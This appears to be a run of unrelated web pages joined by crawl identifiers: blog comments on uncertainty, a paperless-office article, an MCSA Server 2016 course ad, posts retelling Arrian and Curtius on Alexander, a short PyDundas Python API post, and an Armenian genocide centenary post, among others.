Some uncertainty slips in from philosophical considerations. Philosophy has the innate capacity to inject doubt into anything. So for example, old chestnuts like free will and so on… I always doubt my views are valid in any ultimate sense. And so they are on moral theory, or on the nature of democracy of the uses of torture for “greater goods” and so on. I find that the extent of my certainty at any one time is proportional to the extent I’ve been dealing with discussions that cast doubt on that particular issue.
The largest uncertainties and where I fluctuate the most are things to do with my personal desires. Do I want to settle down instead of postdocing? Do I want to set up a family or not? How hard do I want to try for this career rather than another? And there are personal regrets too: what felt like a sure-thing to do 10 years ago I might look back at today and cringe, and I’m particularly bad at knowing what people think of me, and therefore I’m uncertain as to how to react to them. But these are more about character than knowledge.
Anyway, excuse the unstructured ramblings. These are just thoughts pouring out. I’d summarise by saying there’s certainty in things you can know and certainty in decisions one can make. I both cases they fluctuate, and I’m not sure I could say I feel more certain today or less certain today than I was 10 years ago. Perhaps a fair statement would be to say that I feel more certain about some things but I’m less assertive in claiming them to be true (unless I’m utterly convinced they’re important things to shout about). I don’t know how much more I could say without you to pinpoint anything in particular that you’d want to know about.
I get the impression from what you say that you’re going through a period of increasing doubt. About what kinds of things?
8. I can’t help notice that all this uncertainty talk came from you under the climate change post. Is that something your certainty has gone down on? I’d be interested to know on what basis, if so.
9. drfreddy says:
Re: Climate change. Can we at least agree that there are a great deal of nutcases (*cough* Fox News *cough*) and a decent amount of extraordinarily credible scientists on both sides? (A list of serious doubters.) I am not personally ready to pick sides just yet.
To answer your direct question: No, I am personally not that invested in the climate change debate. OK to just leave it?
I wouldn’t say I’m going through a particularly skeptical phase right now. I was born with doubts, for good and for bad. But I do notice that with increasing age, I become less and less convinced about a great deal of things. An optimistic interpretation would perhaps be: I am becoming more sympathetic. Maybe.
Finally, I can say one thing with absolute certainty (taste that, Descartes!): I would be the worst politician ever.
10. Being a bad politician probably means good things about you.
Could I ask about help with the blog theme (I posted a comment on your first entry about it). Appreciate if you know anything about it. Thanks.
11. In that case why write a blog post about it?
On becoming more sympathetic, I completely admire that, if it’s true. I’ve found that I have a mode of behaviour that really bothers me: when I find that someone says something really stupid on some really obvious topic (something for which the evidence really points only in one direction), I get really wound up. I then get really keen to discuss all the evidence with them, but more often than not what I don’t realise is that it’s my manner and tone that seems to count more than what I’m saying. I get far to enthusiastic about showing them logic and evidence and far too careless about how I sound. I think there’s a pity here on two levels: 1) my point doesn’t get across, which points to the irrationality of the person I’m discussing with; 2) people misconstrue me as aggressive and/or arrogant, which is not at all what I want or mean – I mean to defer to something far beyond my ego: the evidence and logic of the situation!
So to reply to your point about sympathy: There is a lot to be said about learning to perceive things from others’ perspectives. There’s an additional thing, of learning how to persuade others without alienating them instead. I find it hard to reconcile myself to the fact this is necessary, since it implies salesmanship is more important than content – and that makes me feel pessimistic.
My challenge is how to both get to grips with the sympathy requirement and temper how I come across.
12. Sorry, didn’t mean that last one to be a reply to the previou one. Just a general one.
Leave a Reply
|
global_01_local_0_shard_00002368_processed.jsonl/53759 | Why It’s A Smart Idea To Go Paperless
We’re now well over three decades into the digital office era. And, as such, the idea of a paperless office is nothing new. But many businesses are still reliant on the printer, the photocopier, and physical documents. They have big archive rooms that cost a fortune to maintain. And the stationary bill is second only to their wage bill.
That’s a shame because it can have a profound impact on your bottom line. Obviously, there are the direct costs of using paper. But what about the impact of using paper on your brand? If you’re a company that’s going big on corporate responsibility, that doesn’t sit well with cutting down forests. And, in turn, that affects your brand negatively if your customers are keen on environmental protection.
Moving to a paperless office isn’t as difficult as many people imagine. In fact, going paperless probably costs a lot less than the system that you’re using now and will be more efficient going forward. So what can you do to ease the transition?
Dual Monitors
There’s nothing that says that a computer can only have one monitor. There’s always scope for another.
But having two monitors is super helpful when you’re trying to go paperless. With more screen real estate, colleagues are less likely to have to refer to printouts while they’re working. They can just flick between screens and have multiple tabs visible at once.
Yes, the initial capital expenditure might be significant. But given that most LCD screens will serve you for a decade, it’s an investment that will save you money in the long term.
Digitizing Paper
One of the most exciting developments in computing recently is the ability to digitize documents that you can search. Document conversion services now come with intelligent algorithms that can read printed text.
This means that you can stop using those big steel filing cabinets and shift over to a new, material-free option.
Get Paperless Bills
Paperless bills have been an option for many years. But if you’re serious about reducing the amount of paper your office uses, you’ll make the switch.
Plus making payments online tends to improve your productivity. You don’t have to make the trip to the mailbox.
Get Rid Of Paper Signing
Many firms believe that they have to physically sign legal documents. But this isn’t based on law, just on historical precedent.
These days, there are now many apps and programs that allow you to use an e-signature for relevant documents. In the US, the ESIGN Act in 2000 gave e-signatures explicit equal footing with regular, hand-signed versions.
Get Rid Of The Fax Machine
Fax machines are based entirely on the use of paper. It’s a wonder why businesses still use them, considering all the digital advances we’ve seen in the online space.
One reason is that companies worry that they won’t be able to fill out forms. But there are now services that allow you to fill out PDF forms online. And what’s more, the functionality is now rather sophisticated.
[Post contributed to tamarhela.com] |
global_01_local_0_shard_00002368_processed.jsonl/53766 | Close Cool Links
Meet In The Real World
Close ×
In this area, you will find videos added by Taxidermy Passions members. These videos may be Taxidermy related or they may be videos of the members themselves, or they may just be videos the members particularly like. We also have an area for Taxidermy specific videos instead of member specific videos.
Latest Favorite Videos
Visit Taxidermy Video Directory
Title: Let The Day Begin
Submitted by: feedback
Title: Everyday Normal Guy
Submitted by: feedback |
global_01_local_0_shard_00002368_processed.jsonl/53778 | Skaters Outside Dries. Paris, September 26, 2018.
As street style fixtures and aspiring influencers arrived (and arrived again) at street level for Dries Van Noten’s Spring-Summer 2019 show, a group of Spielbergian skate kids appeared on the café terrace of Palais de Tokyo to claim their space. Entirely unaffected by the fashionable goings-on, they served as a raucous reminder that style comes in many forms…. |
global_01_local_0_shard_00002368_processed.jsonl/53788 | microsoft mcsa server 2016 certification training
Test Pass Academy has expert Microsoft instructors that have been doing the MCSA Windows Server 2016 Certification back since the Microsoft NT days. This course is taught by world class Microsoft Certified Trainers who have hands-on practical experience. Aside from the best training, our course prepares you to take the Microsoft Official Certification Exams - which are offered by Pearson VUE, on-site at the same facility. Our experts have a vast understanding of security and a remarkable teaching ability making it easy to PASS the MCSA Windows Server 2016 Exams on the 1st attempt. If you are looking to gain Microsoft Server experience and pass the exams at the same time, you found the right place. This 9 day bootcamp is geared for Corporations, Government, Military and Contractors seeking timely training and certification.
9 Day Microsoft Authorized Windows Server 2016 Bootcamp: Train-Test-Pass!
What will I learn in the MCSA Server Bootcamp?
The Microsoft Certified Solutions Associate - MCSA Windows Server 2016 is an intensive 9-day Instructor Led Training course that tests the skills and knowledge necessary to administer a Windows Server 2016 infrastructure in an enterprise environment. Passing this exam validates a candidate’s ability to administer the tasks required to maintain a Windows Server 2016 infrastructure, such as installation (upgrading, new install, new versions), services like Hyper-V, NLB, Clustering - along with backup / disaster recovery. Additionally - in-depth networking topics - TCP-IP, DHCP, DNS, IPAM, VPNs and Direct / Remote Access options. This camp also covers Active Directory services like AD DS, AD FS, AD RMS, CAs and GPOs.
This course maps to the following three certification exams: 70-740, 70-741 and 70-742. You will have the opportunity to take these 3 exams during the bootcamp. Our camp is focused on teaching students how to use the technology, not just how to pass the exams. Our instructors guide you through step by step examples and demonstrations, not just long lectures. Your instructor will create real world scenarios for lab environments.
This class can also be combined with one of our MCSE certification bootcamps below to become an MCSE in one of the following:
• MCSE Productivity Exchange Server
• MCSE Productivity Skype for Business
• MCSE Productivity Sharepoint Administrator
MCSA Server 2016 Class Details:
• 9 Days of the Top MCSA Server Training in the Industry
• Microsoft Authorized Training Session
• Instruction by a High-Level Certified Microsoft Expert
• Microsoft Windows Server 2016 Official Courseware
• Windows Server 2016 Practice Questions
• Lunch, Snacks and Beverages Provide Daily
• Top-notch Training Facilities with 20 inch Monitors
• Small Class Sizes: No More Than 12 Attendees
• Microsoft Exam Vouchers
• Microsoft Exams Delivered During Class
• Class Hours: 8:30 - 5:00
• Free Exam ReTake if You Fail the Exam
Upon completion of the MCSA Server Course, you will demonstrate competence and learn to master:
1. Prepare and install Nano Server, a Server Core installation, and plan a server upgrade and migration strategy
3. Describe enterprise storage solutions, and select the appropriate solution for a given situation
4. Implement and manage Storage Spaces and Data Deduplication
5. Install and configure Microsoft Hyper-V, and configure virtual machines
6. Deploy, configure, and manage Windows and Hyper-V containers
7. Describe the high availability and disaster recovery technologies in Windows Server 2016
8. Plan, create, and manage a failover cluster
9. Implement failover clustering for Hyper-V virtual machines
10. Configure a Network Load Balancing (NLB) cluster, and plan for an NLB implementation
11. Create and manage deployment images
12. Manage, monitor, and maintain virtual machine installations
13. Plan and implement an IPv4 network
14. Implement Dynamic Host Configuration Protocol (DHCP)
15. Implement IPv6
16. Implement Domain Name System (DNS)
17. Implement and manage IP address management (IPAM)
18. Plan for remote access
19. Implement DirectAccess
20. Implement virtual private networks (VPNs)
21. Implement networking for branch offices
22. Configure advanced networking features
23. Implement Software Defined Networking
24. Install and configure domain controllers
25. Manage objects in AD DS by using graphical tools and Windows PowerShell
26. Implement AD DS in complex environments
27. Implement AD DS sites, and configure and manage replication
28. Implement and manage Group Policy Objects (GPOs)
29. Manage user settings by using GPOs
30. Secure AD DS and user accounts
31. Implement and manage a certificate authority (CA) hierarchy with AD CS
32. Deploy and manage certificates
33. Implement and administer AD FS
34. Implement and administer Active Directory Rights Management Services (AD RMS)
35. Implement synchronization between AD DS and Azure AD
36. Monitor, troubleshoot, and establish business continuity for AD DS services
This Course Prepares Students to Pass Exams:
70-740: Installation, Storage, and Compute with Windows Server 2016, 70-741: Networking with Windows Server 2016, 70-742: Identity with Windows Server 2016
Microsoft MCSA Server 2016 Schedule:
MCSA Server 2016 CertificationJanuary 11 - 19, 2020Sarasota, FL$4,495REGISTERQUOTE
MCSA Server 2016 CertificationJanuary 11 - 19, 2020LIVE ONLINE$4,495REGISTERQUOTE
MCSA Server 2016 CertificationFebruary 8 - 16, 2020Sarasota, FL$4,495REGISTERQUOTE
MCSA Server 2016 CertificationFebruary 8 - 16, 2020LIVE ONLINE$4,495REGISTERQUOTE
MCSA Server 2016 CertificationMarch 7 - 15, 2020Sarasota, FL$4,495REGISTERQUOTE
MCSA Server 2016 CertificationMarch 7 - 15, 2020LIVE ONLINE$4,495REGISTERQUOTE
MCSA Server 2016 CertificationApril 4 - 12, 2020Sarasota, FL$4,495REGISTERQUOTE
MCSA Server 2016 CertificationApril 4 - 12, 2020LIVE ONLINE$4,495REGISTERQUOTE
MCSA Server 2016 CertificationMay 2 - 10, 2020Sarasota, FL$4,495REGISTERQUOTE
MCSA Server 2016 CertificationMay 2 - 10, 2020LIVE ONLINE$4,495REGISTERQUOTE
MCSA Windows Server 2016 Requirements & Prerequisites:
Candidates for these exams are involved with the installation, storage, and compute functionalities available in Windows Server 2016. Candidates perform general installation tasks, including installing and configuring Nano Server, as well as creating and managing images for deployment.
Exam 70-740/Course 20740A: Installation, Storage, and computer with Windows Server 2016
This exam focuses primarily on the installation, storage, and compute features and functionality available in Windows Server 2016. It covers general installation tasks and considerations and the installation and configuration of Nano Server, in addition to the creation and management of images for deployment. It also covers local and server storage solutions, including the configuration of disks and volumes, Data Deduplication, High Availability, Disaster Recovery, Storage Spaces Direct, and Failover Clustering solutions. The exam also covers Hyper-V and containers, along with the maintenance and monitoring of servers in physical and compute environments.
Exam 70-741/Course 20741A: Networking with Windows Server 2016
This exam focuses on the networking features and functionality available in Windows Server 2016. It covers DNS, DHCP, and IPAM implementations, in addition to remote access solutions, such as VPN and Direct Access. It also covers DFS and BranchCache solutions, high performance network features and functionality, and implementation of software-defined networking (SDN) solutions, such as Hyper-V Network Virtualization (HNV) and Network Controller.
Exam 70-742/Course 20742A: Identity with Windows Server 2016
This exam focuses on the identity functionality in Windows Server 2016. It covers the installation and configuration of Active Directory Domain Services (AD DS), in addition to Group Policy implementation for non-Nano Server environments. It also covers functionality such as Active Directory Certificate Services (AD CS), Active Directory Federations Services (AD FS), and Web Application proxy implementations.
What is the Microsoft MCSA Windows Server 2016?
Microsoft Windows Server 2016, previously referred to as Windows Server vNext, is a server operating system (OS). The server operating system is specifically developed to serve as a platform for running networked applications. Network Controller, a new server role that provides a centralized, programmable point of automation to configure, manage, monitor, and troubleshoot virtual and physical network devices and services. Network Controller can be used with System Center products like Virtual Machine Manager and Operations Manager as well as PowerShell.
Other new and updated features in Windows Server 2016 include: Nano Server, Storage Quality of Service (Storage QoS), Storage Replica, Storage Spaces Direct, olling upgrades for Hyper-V and scale-out file server clusters.
Certifications Earned During This Bootcamp: MCSA: Windows Server 2016:
Certification Image
Why choose Test Pass Academy?
Your Instructor Has Vast Experience in the Field
Thanks again, Robert
Booz Allen Hamilton
Experience and High Energy Teaching Style
V/R, Chuck US Navy
Instructor for the Course Was Outstanding
DoD Contractor
I Learned a lot and Passed the Test
Addy - US Air Force
|
global_01_local_0_shard_00002368_processed.jsonl/53789 | User talk:Bingobro
From Test Wiki
Revision as of 22:02, 21 September 2017 by Pillowfluffyhead (talk | contribs) (→Redundant userrights: new section)
This is Bingobro's talk page, where you can leave messages and comments for Bingobro.
• Be polite
• Assume good faith
• Be welcoming
Redundant userrights
Just so you know, rights like Chat moderator, patroller and reviewer are already included in the administrator rights package. Therefore, you don't need to assign such rights to users who are also admins, as they are redundant and just clutter the user lists. Pillowfluffyhead (talk) 22:02, 21 September 2017 (UTC) |
global_01_local_0_shard_00002368_processed.jsonl/53811 | When Honesty Is Not the Best Policy
Honesty Is Not the Best Policy
It is widely accepted that honesty is the best policy. I, however, do not agree. Early in my career as a mommy-blogger, I addressed this topic in a post I wrote about an exchange that took place twenty-five years ago between me and my then three year-old son. (NOTE: I was eight months pregnant at the time.)
“I’m thorry to tell you thith, but your butt’s pretty big.”
(See NOTE above.)
read more |
global_01_local_0_shard_00002368_processed.jsonl/53829 | The New Mutants: The X-Men spin-off that took two years to be released
07 January 2020, 08:00
The first trailer for The New Mutants dropped back in 2017 and the film's been delayed ever since.
Comments (0)
Do you like the page?
Would you like to share the page with your friends? |
global_01_local_0_shard_00002368_processed.jsonl/53833 | The Morris Brothers
Drug Awareness
GOALS AND OBJECTIVES – In the assembly students will learn (4) strategies to help make their school drug free:
Start by knowing the difference between legal vs. illegal drugs
1. Do your part by reporting – anything illegal or against school rules such as drug use.
2. Be a Superhero Bystander – at school, home and classroom.
3. Stop-n-think – if you’re approached to smoke or drink, what will you do?
4. Be prepared – learn how to walk away from peer pressure to smoke or drink. Is this a real friend? Know the answer ahead of time.
* Role playing involving audience participation during key points above
* Original music performed live in concert
Contact Us! |
global_01_local_0_shard_00002368_processed.jsonl/53846 | Posts Tagged With: Zeus
Arrian I.11.1-8
In This Chapter
Return to Macedon and Departure for Asia Minor
Arrian now fast forwards to Spring 334 BC.
Arrian I.4.1-8
In This Chapter
Alexander crosses the Danube and leads an assault on the Getae.
The crossing of the Danube took place without any hitches – the 4,00 horse and 10,000 foot who had stood on the opposite bank to oppose him did not stay overnight but withdrew to their tents.
Once on the far side of the river, Alexander waited until dawn before moving his men inland. They crept through a cornfield, the infantry sweeping their sarissas from side-to-side so as ‘to flatten the corn’.
After reaching the end of the cornfield, Alexander ordered his infantry to proceed ‘in rectangular formation’. The king himself took his cavalry off to the Macedonian right wing.
He found the Getaean warriors encamped together. They were shocked by the sight of the Macedonian army and crumbled under ‘the first charge of the [Macedonian] cavalry’.
The warriors of the Getae fled back to their ‘city’ 3.5 miles away. Alexander followed them. Seeing him, the Getae promptly decided to abandon their city and flee into the interior of their homeland. Alexander took the city, gathered anything of value that the Getae had left behind and ordered Meleager and Philip to take it away. As the plunder began its journey south, Alexander destroyed the city and sacrificed to Zeus the Saviour, Herakles and the Danube itself at a site beside the river for not standing in his way during the operation. No Macedonian soldiers were lost during this mission.
Word of Alexander’s exploits travelled far and wide. Ambassadors and envoys came to greet him and declare their people’s friendship. Among them were ‘envoys from Syrmus’ who we saw retreat to the island in the middle of the Danube, and Celts from faraway. Alexander asked them what they feared most; he expected them to say him but had the cheek to call them ‘a pretentious lot’ when they replied that they most feared the sky falling on their heads!
At first sight, the decision of the Getae to leave the Danube river bank seems an inexplicable one but as you read on their reason why quickly becomes clear. As Arrian makes clear, the Getae regarded the Danube as a strong defence against enemy invasion. They reckoned that any attempt to cross it would be difficult and that a bridge would have to be built for the purpose. Thus, when Alexander appeared in front of them having not bothered to build a bridge at all, they were in shock.
Wikipedia describes the ‘shock and awe’ military tactic in the following terms,
Shock and awe (technically known as rapid dominance) is a tactic based on the use of overwhelming power and spectacular displays of force to paralyze the enemy’s perception of the battlefield and destroy their will to fight
Shock and Awe – Wikipedia
This is how Alexander defeated the Getae.
Overwhelming power – Arrian tells us that the Getae found ‘the close-packed phalanx… terrifying’. The sight of the cavalry no doubt also terrified them
Spectacular display of power – the fact that the Macedonian army had so easily managed to cross the Danube – in one night and without needing to build a bridge.
One of Alexander’s numerous strengths as a general was his ability to adapt his tactics according the circumstances. Not just offensively, but also in the matter of defence. So, when the Macedonians approached the Getaeans, the infantry did so in a ‘rectangular formation’, which would protect the men if the Getaeans got the better of them. Alexander’s ability to adapt always allowed him to stay one step ahead of his rivals in the field, and can be considered one of the chief reasons why he remained undefeated in war.
When Alexander followed the Getaean warriors to their ‘city’, he remained very respectful of the enemy. Thus, he ordered his cavalry to ride ahead of the infantry to protect it in case of any Getaean ambush or counter-attack. The Getaens, however, were already done for, and so their ‘city’ was good only to be sacked and razed.
The mission against the Getae seems to foreshadow the lead up to the Battle of the Hydaspes River – in fact, it almost feels like a simpler version of that conflict. The essentials of both conflicts, however, is the same: arrival at a river, working out how to safely cross it, engaging the enemy.
Similarly, the arrival of the ambassadors from various native peoples also reads as a much simpler version of the diplomacy that Alexander carried out in 324/23 BC when he met ambassadors and envoys from ‘practically all the inhabited world’ in 324 BC as described by Diodorus (Dio. XVII.113). On that occasion, they not only came to make friends with him but present gifts, make treaties and seek his judgement.
3. Troy
Crossing Asia Minor with Alexander
‘[Alexander] then went up to Troy, sacrificed to the Trojan Athena, and dedicated his full set of armour in her temple, taking in its place some of the consecrated arms still preserved there from the Trojan War… the prevailing account also has him sacrificing to Priam at the altar of Zeus of the Forecourt, to avert Priam’s anger at the race of Neoptolemus, of which he himself was a descendent.’
(Arrian I.11.7-8)
Arrian also records that according to ‘some historians’, Alexander paid his respects to Achilles at the latter’s tomb while Hephaestion did the same at Patroclus’.
Arrian notes that Alexander did not have a Homer to record all of his achievements and that this is why he is writing his history. Do you think it does Alexander justice?
Text used: Arrian ‘Alexander the Great‘ OUP 2013 translated by Martin Hammond
Alexander pays homage to Achilles
Credit Where It’s Due
Alexander at the statue of Achilles: Wikimedia Commons
Categories: On Alexander | Tags: , , , , , , , | Leave a comment
The Nature of Curtius
Book Eight Chapter 6-10
For other posts in the series click here
Chapter Six – Eight
Hermolaus and Co.
The Pages’ Conspiracy occupies the attention of all these chapters. The only thing worth noting in this blog post is that the conspiracy originated in Alexander’s treatment of Hermolaus during a hunt.
As Curtius tells it, Alexander ‘ear-marked’ a boar that he wished to kill, only for Hermolaus to get to it first. In punishment, Alexander had his page flogged. Humiliated, Hermolaus conceived his plan to assassinate the king.
As Alexander says during Hermolaus’ trial in chapter eight, the flogging took place according to ‘traditional custom’. Had it just been a matter of humiliation, therefore, Hermolaus might have swallowed his punishment and got on with his work but he was also disillusioned with Alexander’s medising (see chapter seven). The flogging, therefore, was the straw that broke the camel’s back.
Chapter Nine
When Alexander struck camp and set off for India*, his reason for doing so – according to Curtius – is that he wanted to avoid gossip in the camp through inactivity. Undoubtedly, he most wanted people not to talk about his court historian, Callisthenes who had also been executed with the pages.
Certainly, the less said about Callisthenes the better. Not only had he not been part of the conspiracy, but he had not committed any offence other than being a close friend of the conspirators. Furthermore, like so many Macedonians, he was a known opponent of the king’s adoption of Persian dress and customs.
Curtius describes India as being eastward facing, and of greater length than width. He tells us that the country is flat, except for where it is exposed to the south wind; there, the land is is ‘of higher elevation’. The even surface of the ground means that the ‘many famous rivers’ that have their source in the Caucasus pass gently across the Indian plains.
The greatest of the Indian rivers is the Ganges, which flows southwards before being ‘diverted eastwards by some rocky moutaints’. Both it, and the Indus (which, Curtius says, is colder than the other rivers) flow out into the Red Sea, that is, the Indian Ocean. Curtius is not thinking of the more famous Red Sea here but the one named after a king Erythrus, whose name means red in Greek.
As well as being cold, the Indus appears to be a fast flowing river as well, for Curtius describes it as tearing ‘away its banks and many trees on them along with large tracts of soil’. There are boulders in the river, too, and the waters smash against them ‘violently’. However, after a point, the river calms down and runs slowly between islands.
From what Curtius says, the Acesines seems to act as a tributary for both the Indus and Ganges. In regards the latter, ‘the two rivers [collide] with great violence’ due to an unspecified blockage at the Acesines’ river mouth.
There is another river, the Diardines, which ‘is less well known because it runs through the most remote parts of India’ and is home to crocodiles (‘like the Nile’), dolphins and other ‘creatures unknown’.
Then there is the Ethymantus, which meanders along on an undulating course and is used ‘for irrigation by the natives’. By the time it reaches the Indian Ocean, its water level is so low that the river is given no name.
Curtius tells us that India has many other rivers but they are unnamed due to being in ‘unchartered territory’. Finally, in the matter of rivers, he records that they are ‘gold-bearing’ and that the sea ‘throws up precious stones and pearls on the beaches’.
We’ve seen how the south wind affects the areas of India that are above sea level. The coastal regions suffer under the dryness of the North wind. The interior of the country is less affected as it is protected by the Himalaya mountains. This means that the land is fertile – fruit and flax are both grown / produced there. There is even a type of tree that grows in India, the bark of which is soft and can be used for writing.
Among the animal population, there are birds that ‘can be trained to imitate the human voice’, rhinoceroses and elephants which ‘possess greater strength than those trained in Africa’. They are larger than their African cousins, too.
Curtius makes a note of how ‘the environment also shapes the character of the people’. The preponderance of flax makes linen clothing very popular. The rich wear jewellery made of gold and the king is carried in a ‘golden litter fringed with pearls’. Trained birds sing to him to take his mind off ‘serious matters’.
Nature influences Indian architectural style as well – the king’s palace contains ‘gilded pillars with a vine in gold relief… and silver representations of birds’.
There is a downside to all this, though; the wealth that nature has given the king has made him lazy. When he hunts, the animals are kept in a pen, and he uses an oversized weapon. He travels on horse and elephantback with his ‘long retinue of concubines in golden sedan-chairs’ behind him.
Despite this, the Indians have not lost touch with the land which has blessed them with so much of itself. ‘To anything they have started to cultivate’ Curtius says, ‘they give divine status, especially to trees’. Interfering with one is punishable by death.
And in case there is any doubt, yes, astrology is practiced in India, too.
Finally, Curtius notes how ‘the earth inverts its regular seasonal changes’ but doesn’t know why this happens.
* Nota Bene: When Curtius talks about India he includes the area that now forms Pakistan.
Chapter Ten
A Mountain Party
Entering India, Alexander received the submission of a number of ‘petty kings’. He ‘sent Hephaestion and Perdiccas ahead… to crush any opposition to his power’. Their ultimate destination, however, was the Indus River where Alexander instructed them to make boats for – not only its crossing, but the crossing of any other river that they came to. To achieve this, the two generals made boats that could be dismantled and put back together again as needs be.
At the town of Nysa, the Macedonians inadvertently set fire to the local sepulchres, which were made of cedar. The first the Nysans knew of Alexander’s arrival, though, was when their dogs started barking.
Curtius describes Nysa as being ‘at the foot’ of Mount Meron. The Notes record that in Greek, méros means thigh. As a result of the similarity between the two names, he says, the Greeks invented ‘their story of Father Liber [Dionysus] being concealed in the thigh of Jupiter’.
Alexander led his men to the top of the mountain. Along the way, they found streams that flow all year round rushing past them. Unsurprisingly, ivy and vines were also present up and down the mountain. But that was not all; ‘fruits whose juices have health-giving properties’, soil so fertile it could produce spontaneous harvests, ‘laurels and berry-bushes’ – were all present.
As you might expect, though, the Macedonians made straight for the ivy and vines, making garlands out of them. They noisily worshipped the god of the mountains, and lazed, drinking all the while. Alexander did not oppose the revelry. Quite the reverse – he put on a feast and joined in the fun and feasting. All-in-all, the Macedonian army spent ‘ten days in the worship of Father Liber’.
Once the partying was over, Alexander campaigned against the Daedala people, who tried to hide ‘in some remote, tree-clad mountains’. He crossed the Choaspes River and put the city of Mazagae under siege.
Mazagae was protected on its east side by a ‘swift river’ with sheer banks on the far side. To the west and south of the city were ‘beetling crags’. To the north of the city was ‘a ditch of massive proportions’. The city itself was, of course, fortified.
Alexander dealt with the underground crags by simply rolling boulders and trees into them. This took nine days. Once they were filled up, he rolled his siege towers towards the city. The Mazagaetans were terrified of the towers and Macedonians’ pikes (sarissas?) and retreated to their citadel for long enough to surrender. In due course, Alexander met their queen and, allegedly, proved that both he and her were as fertile as the Indian soil. The queen gave birth to a son whom she named Alexander.
Artemis in the Air
The Nature of Curtius
Book Three Chapters 11 – 13
For other posts in the series click here
Chapter Eleven
A Ridge with a View
The Battle of Issus got underway. Upon seeing that Darius was trying to surround his army, Alexander ‘ordered two cavalry squadrons to maintain a position on [a] ridge’ overlooking the battlefield. It appears from Curtius’ text that they remained there for the rest of the battle.
The battle effectively ended when, fearing that he was about to be captured by Alexander, Darius fled. Before doing so, he threw ‘off his royal insignia so they could not betray his flight’. The consecrated eagle on his chariot had already been left behind, now he divested himself of the hawks attacking one another.
We should not be surprised by Darius’ actions. When he cited tradition as his reason for refusing to split his army up, Codomannus proved himself to be a man living in the shadow of past Persian Great Kings rather than their worthy successor. His willingness to shed the marks of his kingship simply takes his unworthiness to sit upon the Persian throne one step further; it proves that he was their shadow.
Once Darius fled, the Persian army quickly followed. Some of the men returned to their camp through the pass, while others began the journey back to Persia. These latter took different routes with some crossing the plains and others travelling across the ‘sequestered mountain passes’. Alexander was also on the move – doing his best to chase the Great King down.
Chapter Twelve
Altars by the Shore
Thanks to horse relays, Darius escaped. Thwarted, Alexander made his way to the Persian camp. That night, as he banqueted with his ‘most intimate friends’ a loud cry issued from the Persian royal family’s tent. The women were lamenting what they believed to be the death of their king.
When Alexander visited them the next day, Sisygambis – the Queen Mother – made her famous mistake when she paid homage to Hephaestion thinking him to be the king instead of Alexander who was standing next to him.
Later, Alexander ‘consecrated three altars on the banks of the river Pinarus to Jupiter, Hercules and Minerva’. I can only wonder why he chose to carry out the sacrifice next to the river.
Chapter Thirteen
Snow Outside Damascus
Alexander’s journey now takes a back seat as Curtius follows Parmenion to Damascus. He had been sent there to retrieve the Persian royal treasury.
While Parmenion was still on the road, the governor of Damascus decided to surrender. He sent a message to Alexander to that effect.
Parmenion intercepted this message. After reading it, he ordered the messenger to return to Damascus – presumably to inform the governor that his surrender had been accepted.
On the way back, though, the messenger escaped from his Macedonian escort, and it seems he did not return to his master, for on seeing Parmenion approach, the governor thought his offer to surrender had been turned down.
Anxious to avoid a fight, he ordered his porters to march out of the city before sunrise carrying the royal treasury. It was a cold and windy morning. Upon a moment, the weather turned; it began to snow.
To protect themselves against the porters put on ‘the gold-and-purple-embroidered clothing’ that they had been carrying along with the money and other valuables.
In Chapter Ten we saw how Alexander pointed out those in the ‘enemy line’ who were wearing gold and purple. Curtius says that these clothes belonged to ‘high-ranking men and… distinguished women’. Perhaps the men’s clothes belonged to the same men that Alexander had pointed out to the Illyrians and Thracians.
The porters’ actions were in absolute contravention of Persian protocol, but ‘the king’s misfortunes meant that even the dregs could flout his authority’.
Upon seeing the richly clad men approach him, Parmenion mistook them for soldiers and prepared for a fight.
Fortunately for all concerned, however, the porters had good eyes. Despite the snow, they saw the Macedonian force in front of them; and as soon as they did, they dropped their loads and took to their heels.
Rather than pursue them, the Macedonians set about recovering the treasures – reaching into bramble-bushes and sinking their hands into mud in order to reach it.
Blog at
%d bloggers like this: |
global_01_local_0_shard_00002368_processed.jsonl/53856 | WordPress.com presents
The Urban Observatory
2011 in blogging
Happy New Year from WordPress.com!
About the fireworks
To kick off the new year, we’d like to share with you data on The Urban Observatory’s activity in 2011. You may start scrolling!
Crunchy numbers
In 2011, there were 79 new posts, growing the total archive of this blog to 80 posts. There were 611 pictures uploaded, taking up a total of 175 MB. That's about 2 pictures per day.
The busiest day of the year was September 9th with 236 views. The most popular post that day was Info.
How did they find this blog?
Some visitors came searching, mostly for franco zagari, evelyn leveghi, architettura zero cubatura, the urban observatory, and donatella pollini.
Where did they come from?
Most visitors came from Italy. Spain & France were not far behind.
Who were they?
The most commented on post in 2011 was The Urban Observatory
These were the 4 most active commenters on this blog:
Attractions in 2011
These are the posts that got the most views on The Urban Observatory in 2011.
See you in 2012
Thanks for flying with WordPress.com in 2011.
The Urban Observatory
… but wait, there’s more!
2012 is going to be even better on WordPress.com…
1. 1. Follow
2. 2. Read
3. 3. Blog
Try out the new WordPress.com home page now! |
global_01_local_0_shard_00002368_processed.jsonl/53862 | Dundas Rest API and Python: introducing PyDundas
Dundas has a very complete REST API. You can do just about everything with it. It is what the web app uses, so if you are in need of an example, you can just look at the queries which are sent with the developer tools of your favorite browser.
That said, it is a bit of a pain to use in a script.
To make my life easy, I built PyDundas: a python package using in the background the API. This lets you abstract away all the nitty-gritty and you can concentrate on semantically pleasing code.
For instance, warehousing a cube is quite simple. It abstracts out for you logging, checking, waiting and more.
from pydundas import Api, Session, creds_from_yaml
import sys
import json
creds = creds_from_yaml('credentials.yaml')
with Session(**creds) as d:
api = Api(d)
capi = api.cube()
cube = capi.getByPath('Awesome Project', '/relevant/path')
if cube is None:
print("Gotcha, no cube named like that.")
if not cube.is_checked_out():
There is a lot more that can be done with PyDundas. I developed it for my needs, so I only added what I actually needed and is thus far from complete. That said, I regularly update it and add new APIs, and it is open source so feel free to send me pull requests to expand it. |
global_01_local_0_shard_00002368_processed.jsonl/53863 | 100 Years Strong
genocide10One hundred years since the Genocide of the Armenians and I am reminded everyday of human injustice and the countless injustices inflicted by The Ottoman Turks and continued through today’s Turkey that have not been made right. I saw “Woman in Gold,” (film), simplistic, sentimental with heart rending flashbacks of the mistreatment of Jews by their Austrian countrymen in the ‘30s. I was moved. But what struck me was the idea that denial by the perpetrator of a crime committed only serves to strengthen the plight and cause of the “victim/plaintiff.” That being said, the Armenian cause for justice keeps growing stronger.
